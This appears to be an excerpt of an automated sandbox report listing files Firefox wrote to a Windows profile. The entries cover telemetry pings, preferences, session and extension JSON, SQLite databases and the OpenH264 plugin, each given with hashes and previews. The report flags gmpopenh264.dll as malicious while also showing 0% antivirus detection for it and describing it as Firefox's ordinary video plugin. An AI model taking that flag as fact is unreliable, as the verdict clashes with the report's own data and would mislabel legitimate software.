C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\ef389260-b0e9-43df-b1b9-745ffc85ea47

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (949)
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.015565433034746
Encrypted:	false
SSDEEP:	24:BGgl6zFU+8M4OIMoTAjj5GJtpnGAh5wZLZYPg:RwpUtM4OHjtmtgAHPg
MD5:	D729D7A26A4269793BEE71ADD64C77E8
SHA1:	6200DBBD2659C75D44EF6AB82AF13B0F47CE1F0E
SHA-256:	26882077B4FF8858A7690895F96B3B4980707631BD07A068797720CDEA29B90A
SHA-512:	FD6B45C87C9A98DFE016BF40A193DD2168FB7493437CA309AFAAA2499DFF606C33935A809D2BD0678E2D1AC066965F2CB1ABAE87B54E7783E20D9BAC16F54F36
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/newtab/1/ef389260-b0e9-43df-b1b9-745ffc85ea47.{"ping_info":{"seq":6,"start_time":"2023-10-05T08:20+02:00","end_time":"2024-01-18T02:23+01:00","reason":"component_init"},"client_info":{"telemetry_sdk_build":"53.2.0","client_id":"94e496bf-3c7e-4db9-9bf8-122f99be3ca5","windows_build_number":19045,"os":"Windows","locale":"en-US","os_version":"10.0","app_channel":"release","app_display_version":"118.0.1","architecture":"x86_64","app_build":"20230927232528","build_date":"1970-01-01T00:00:00+00:00","first_run_date":"2023-10-05+02:00"},"metrics":{"uuid":{"legacy.telemetry.client_id":"7340e351-fad3-4a0f-b554-971fbfafe8fb"},"string_list":{"newtab.blocked_sponsors":[]},"boolean":{"pocket.sponsored_stories_enabled":true,"topsites.sponsored_enabled":true,"newtab.search.enabled":true,"pocket.is_signed_in":false,"topsites.enabled":true,"pocket.enabled":true},"quantity":{"topsites.rows":1},"string":{"newtab.locale":"en-US","newtab.newtab_category":"enabled","newtab.homepage_cat

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\fa67d5ff-77bd-4aa6-a666-41287bce730e

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1538)
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.097587698235928
Encrypted:	false
SSDEEP:	48:Gbx+oWLu4hcB2SjOHvu+USsyBpQv7qOa+TZSbD:0482SjOHvO8Qv+j+TZSbD
MD5:	0A816C9E0D74C05DBB765064EE85B899
SHA1:	D697A8F85C4F78BDA679D4B189A9B62803A496F0
SHA-256:	9140835957B53F6C9095F19A1C2A7333520F535C29561E6B00CCE10C9FBFB655
SHA-512:	5608FB7AA2B7231AD281371822F4FB80DD2725EEA156E00BA6EB2AFCB4597DA8DC01B0CFEF9841193FF007D2C13FFA452346892493D09A71774166A6238CCC8A
Malicious:	false
Reputation:	unknown
Preview:	/submit/firefox-desktop/messaging-system/1/fa67d5ff-77bd-4aa6-a666-41287bce730e.{"ping_info":{"seq":11,"start_time":"2024-01-18T02:23+01:00","end_time":"2024-01-18T02:23+01:00","experiments":{"serp-ad-telemetry-rollout":{"branch":"control","extra":{"type":"nimbus-rollout","enrollmentId":"e448ac36-35a1-421b-a6e6-dad58fb3f779"}},"extensions-migration-in-import-wizard-116-rollout":{"branch":"control","extra":{"enrollmentId":"87f3438f-d2b2-446e-9e35-b1cca1d2bb57","type":"nimbus-rollout"}},"csv-import-release-rollout":{"branch":"enable-csv-import","extra":{"enrollmentId":"d4ca3def-aec5-42b2-b1e3-559d67fe58b7","type":"nimbus-rollout"}},"upgrade-spotlight-rollout":{"branch":"treatment","extra":{"type":"nimbus-rollout","enrollmentId":"cff18e4e-a3e2-450c-a28f-e1824d155e26"}},"bookmarks-toolbar-default-on":{"branch":"treatment-a","extra":{"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","type":"nimbus-nimbus"}}}},"client_info":{"telemetry_sdk_build":"53.2.0","app_channel":"release","archite

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\session-state.json

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	161
Entropy (8bit):	4.892742699035665
Encrypted:	false
SSDEEP:	3:YWAqKs/l62c1YVWQBMf0N5sdB7+8VQ4qJA2aqnLJrja/H5C:YWAqf/l5c1S6f0N5Q77qOanLFu/ZC
MD5:	2EC79ED85E0958E4F042B36A8FD80B21
SHA1:	37614461F3030C22177F6BCB856A7A2F43F1A600
SHA-256:	484D68C0F341EB62D20899F8B5B17C1D7A9762FADEED777B6423D966195B93E7
SHA-512:	E5906E13635508741C3711B8450BC77012CAD1568E9AF0BF7B5D97EDC9DF0B285760CF0409481E4EEC8121EB1374E29ECC8583C264FD01BF3058D276EE03167A
Malicious:	false
Reputation:	unknown
Preview:	{"sessionId":"b15a9d0a-7256-427e-923a-47d13261081a","subsessionId":"13a39804-7d06-48d7-a20b-2050087086f5","profileSubsessionCounter":3,"newProfilePingSent":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.042486147269458596
Encrypted:	false
SSDEEP:	6:GRC3FGoRPbSlpC3FGoRPbz9X1l/XElXWYl//N:eC3UoZqC3UoZdvfEtl
MD5:	2F0BD4861BDDB0D4F4A0DFC5F01B4D0B
SHA1:	E65C98E34D5E784F425041D4C59B6022C50F8CE3
SHA-256:	84BEBD5BAAD3D7A4ABEBFC60DE3DD451DBF60C57F62DEEDE4FF5BCA803D3F3B1
SHA-512:	1D111C9B04B059B2F65F56E711C0AC811BDA9EA645D8CDCB6C53BB673A65F7C3A6DC122CBE1CBDA63991B5BB0DC684814376EA829A3523D02A0E7877D9AC113F
Malicious:	false
Reputation:	unknown
Preview:	..-..........................u..R.,%..><otl$.H....-..........................u..R.,%..><otl$.H..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-wal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	262368
Entropy (8bit):	1.0443458646665194
Encrypted:	false
SSDEEP:	384:dFmsrJkLu2+PFTUJLu2+PFTU8Lu2+PFTU/zEdk6FmsrJkLu2+PFTUJLu2+PFTU8X:dQZzJZz8ZzbEhQZzJZz8Zzl
MD5:	32B6FBD3E31E6EF24FCBC3D84EA03700
SHA1:	CEF22FB6A50BD4017331EB9BED608F57084AACAE
SHA-256:	5DF414F59F73C2854378E4EDB76E3F02DA6D51D4F577C805BF6797DF31CD8268
SHA-512:	FA276BED708F84DFBAECF57CD9CEC81C2C3395A329AC727B16343F5C632DB9DF3986CBC0AA29DCD0E637FEBA166CEA872E44E1F684D135E198F08BEBDCEA82CE
Malicious:	false
Reputation:	unknown
Preview:	7....-..........R.,%..><...e...........R.,%..><...9.T......W..x.o.m.kpc%W.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07384393166828224
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4WguGBgZt:DLhesh7Owd4+FAB6
MD5:	0630260AEA28F645BB76313F84E4F1B4
SHA1:	B842BD964D808A6305D61BCEACCC8D685A3A9CB4
SHA-256:	D0A951E162FE5AF5E019AF595FE43862921F86621FEFA6C49FD7BBEF5983504E
SHA-512:	207AEF202ADEBC05B2420FEA875EFCF5CD929BA2593E4B3D4924F3B72FBD942B64AA323310EE048EC7EE5EFD50CB7A4A71D33A3E85121DEB5028FB222328F298
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	66064
Entropy (8bit):	0.09806275924483163
Encrypted:	false
SSDEEP:	12:7+tmXAQW6Bl/ExWla0mwPxRymgObsCVR45wcYR4fmnsCVR4x:7+tmwQW6LEvsh7Owd4+S
MD5:	BFF503F5D88092F5C1EECAE4B1C55084
SHA1:	8815B7A620918E7E4268F2B961C55B44028C240F
SHA-256:	727EFD0A6F7AC14D3167D73945BB619C105EDDA87EB58BF43CB8FC9D9705DECE
SHA-512:	C474F4F1193C3CB2478110650030D993E851A3290F8E9A0FE1CD6765832F168932061782C9B9D5B819C25C9A5D4360DA4BCA9CFA884DF578CECAC0ED9BFA3ACF
Malicious:	false
Reputation:	unknown
Preview:	.... .c......)..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05514037386355147
Encrypted:	false
SSDEEP:	6:G49FFOhlP9FFOh/k89XIpFl/Ocl/olbl//A8AlHgY:PTAPTA/ksOl/hgblEHgY
MD5:	53A7D654A9C03AD8F2630EAFFFDC8183
SHA1:	DCD7F1ABF69673DAE49FBEB398B9A3A465077BCC
SHA-256:	A9004215C29BBFE6010640364D474F8B27651D9977804001C58C30E7C7190DF4
SHA-512:	E51D7F929C70236B8F8833FE815838DB9A0EAC2BCB6E005FC32FA3DE72F7CBF1E1E6A9016422C46F9887294C38785C76EFE37C98CF46FA37E42CB471A7407215
Malicious:	false
Reputation:	unknown
Preview:	..-..............................DO@..!S.....!..-..............................DO@..!S.....!............................................................................................................................'...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	721456
Entropy (8bit):	0.10250890566745349
Encrypted:	false
SSDEEP:	192:HghYJU07EuA1GhLBShiKJU028iGhYJU0ZfBiGh8Vwe:Ahp07EvALIhib028iGhp0xBiGhXe
MD5:	3F7BCF4B147CFCB9E46A5240A2EBC501
SHA1:	56D185ABCF73BBC8804A430645817DB0D90237E5
SHA-256:	D68EAE607E2469AD2C9D3651A2535EFF74F14A266E4958A70B43048E3E8AC0B9
SHA-512:	0B9BE6A2562DB92C3C80D3DF7E6F3A535CB7C6D127F46E9E52D4DA8B0D15E9394875961D00B3B89CEA705140E68C20373509C3D3B37235DCAFADEA2B1F3764BD
Malicious:	false
Reputation:	unknown
Preview:	7....-............DO@.................DO@.."x=K...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14311
Entropy (8bit):	5.4597607733013405
Encrypted:	false
SSDEEP:	192:qnTFTRRUEycbBp6oLZNMGaXj6qU4tazy+/3/7oU5RYiNBw8dESl:QKe9FNMi6qyCFdwp0
MD5:	88EA7A73AE06DCA2F8D100E3C1F727BD
SHA1:	3C4810D10D02676FECA6738575BC5604F036BC41
SHA-256:	3B3855CBE1E4155EDD5EB8D64C936F0FB63C7EF21999984D6CC18FC2FBC0DEE6
SHA-512:	51A4C8D997CA589B7A62531AE528AF64763ED4016DA52A5285DB6B8E6D362C8C1B161F09B5D3A118CBF6D50B558BB516C6411701209059299D25AE1E7E4CA44E
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1705541001);..user_pref("app.update.lastUpdateTime.background-update-timer", 1705541001);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-upd

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14311
Entropy (8bit):	5.4597607733013405
Encrypted:	false
SSDEEP:	192:qnTFTRRUEycbBp6oLZNMGaXj6qU4tazy+/3/7oU5RYiNBw8dESl:QKe9FNMi6qyCFdwp0
MD5:	88EA7A73AE06DCA2F8D100E3C1F727BD
SHA1:	3C4810D10D02676FECA6738575BC5604F036BC41
SHA-256:	3B3855CBE1E4155EDD5EB8D64C936F0FB63C7EF21999984D6CC18FC2FBC0DEE6
SHA-512:	51A4C8D997CA589B7A62531AE528AF64763ED4016DA52A5285DB6B8E6D362C8C1B161F09B5D3A118CBF6D50B558BB516C6411701209059299D25AE1E7E4CA44E
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1705541001);..user_pref("app.update.lastUpdateTime.background-update-timer", 1705541001);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-upd

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	33288
Entropy (8bit):	0.0832991921348809
Encrypted:	false
SSDEEP:	6:7+/lP4xgtBl/lquN1P4BEJYqWvLue3FMOrMZ0o:7+tP4x6Bl/ZnjfJiFxMZj
MD5:	AEE80F2317327EA468D5421C707513C6
SHA1:	991B21508C861F8CF5507D668AF4F2C35F05DE2D
SHA-256:	34FCAFBD240E855ECBE293D1429C5AEDC73618AB6ADD8C4154B3038E51F4DDD7
SHA-512:	C67AB6C115D2BDBEC8957FFE4B762C9BF6FE001014A05CA79B803420744DB6B7085598DD8DF6A605F8B9102400E76D9F402140C25BAC08DACA2B8B211C3EA105
Malicious:	false
Reputation:	unknown
Preview:	.... .c......8(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j.......x..x......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.baklz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 10479 bytes
Category:	dropped
Size (bytes):	3209
Entropy (8bit):	6.698623004336961
Encrypted:	false
SSDEEP:	48:DpObkxeU7goMlSFXutOdzpxP3KPVxT49mEMEe3cW8qpEYwMejUHKfkuU6/Rh5E:hcoMlyRzpxvKL49m9cWvmiKTZh5E
MD5:	30F4E6666495FAF0702F8DC67B02C552
SHA1:	132D7648399D58AE80DBB8888E33C80E5B3F9FD2
SHA-256:	EF6A7B5D7F9F87CB6957DC4FC7E9FE71329919166542ADE552214898AB9D512F
SHA-512:	90DB0202F0C94B022634C76FEFD8301AD119C0C006AB804BE7B7CBBF016C49C188F2F9E969D598E5AF9D6E3710A19ECE69BC627280585FE1BF0DA504DA32DBF5
Malicious:	false
Reputation:	unknown
